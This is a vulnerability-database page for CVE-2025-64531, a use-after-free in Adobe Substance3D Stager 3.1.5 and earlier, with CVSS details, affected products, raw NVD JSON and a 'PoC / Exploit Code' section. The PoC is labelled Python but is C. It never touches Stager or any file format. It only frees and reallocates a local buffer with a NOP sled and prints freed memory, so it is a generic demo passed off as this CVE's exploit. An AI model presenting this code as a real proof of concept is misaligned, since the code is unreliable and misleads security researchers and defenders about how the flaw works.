Security Vulnerability Report
中文
CVE-2025-64531 CVSS 7.8 HIGH

CVE-2025-64531

Published: 2025-11-11 21:15:40
Last Modified: 2025-11-12 18:41:07

Description

Substance3D - Stager versions 3.1.5 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Substance3D Stager <= 3.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-64531 PoC - Adobe Substance3D Stager Use After Free // This PoC demonstrates the vulnerability trigger mechanism // Note: This is a conceptual PoC for security research purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Malicious file header structure for triggering UAF typedef struct { char magic[4]; // File magic number int version; // File version int payload_size; // Malicious payload size char* payload; // Pointer to trigger UAF condition } malicious_file_header_t; // Trigger UAF condition by freeing memory while pointer still references it void trigger_uaf_condition() { char* heap_buffer = (char*)malloc(256); if (heap_buffer == NULL) { return; } // Fill buffer with controlled data memset(heap_buffer, 0x41, 256); // Free the memory (UAF condition created here) free(heap_buffer); // Heap spray technique to reallocate freed memory with malicious content // This allows attacker-controlled code execution char* sprayed_buffer = (char*)malloc(256); if (sprayed_buffer) { memset(sprayed_buffer, 0x90, 200); // NOP sled // Shellcode injection point memcpy(sprayed_buffer + 200, "\xcc\xcc\xcc\xcc", 4); // Breakpoint } // Use after free - accessing freed memory // In real exploitation, this would redirect execution flow printf("Triggering UAF: %s\n", heap_buffer); } int main() { printf("CVE-2025-64531 PoC - Adobe Substance3D Stager UAF\n"); printf("Product: Adobe Substance3D Stager <= 3.1.5\n"); printf("Vulnerability: Use After Free\n"); printf("Impact: Arbitrary Code Execution\n\n"); trigger_uaf_condition(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64531", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:40.110", "lastModified": "2025-11-12T18:41:07.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Stager versions 3.1.5 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.6", "matchCriteriaId": "6EEF4010-0833-4D6B-9C45-FC8F85B3496A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_stager/apsb25-113.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}